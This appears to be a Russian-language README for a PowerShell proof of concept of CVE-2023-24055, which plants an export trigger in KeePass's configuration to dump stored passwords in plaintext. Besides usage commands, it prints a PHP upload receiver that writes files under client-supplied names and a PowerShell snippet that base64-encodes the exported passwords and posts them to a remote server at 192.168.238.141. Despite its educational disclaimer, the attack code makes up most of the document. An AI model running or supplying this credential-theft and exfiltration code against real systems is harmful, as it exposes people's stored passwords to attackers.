
CVE-2023-24055 POC, написанный на PowerShell.

Этот скрипт предназначен только для образовательных и демонстрационных целей. Автор не одобряет и не потворствует использованию этого скрипта в каких-либо преступных или злонамеренных действиях, и его следует использовать только там, где это явно разрешено с соответствующего разрешения.
Этот скрипт следует использовать с осторожностью, так как он изменяет файл конфигурации KeePass и удаляет все ранее настроенные триггеры. Использование этого скрипта может привести к непредвиденному поведению и потенциально нарушить работу приложения KeePass. Используйте на свой страх и риск.
Этот скрипт демонстрирует ** ОСПАРИВАЕМУЮ ** уязвимость (CVE-2023-24055) KeePass до версии 2.53 включительно (в конфигурации по умолчанию), поскольку она позволяет атакующему с правом записи в XML-файл конфигурации получить пароли в открытом виде путём добавления триггера экспорта. Обратите внимание, что позиция производителя заключается в том, что база данных паролей не предназначена для защиты от атакующего, имеющего такой уровень доступа к локальному ПК.
Ссылки:
Чтобы использовать этот скрипт, запустите его в PowerShell и укажите необходимые параметры. Обязательными параметрами являются:
-filename: полный путь и имя файла, в который будут экспортированы пароли.Необязательные параметры:
-uploadURL: этот переключатель используется для указания, что данные должны быть загружены на указанный URL.-url: URL-адрес, на который должны быть загружены данные.Экспорт паролей в открытом виде:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
Экспорт паролей в открытом виде и загрузка экспорта на веб-сервер:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
Подробная справка:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");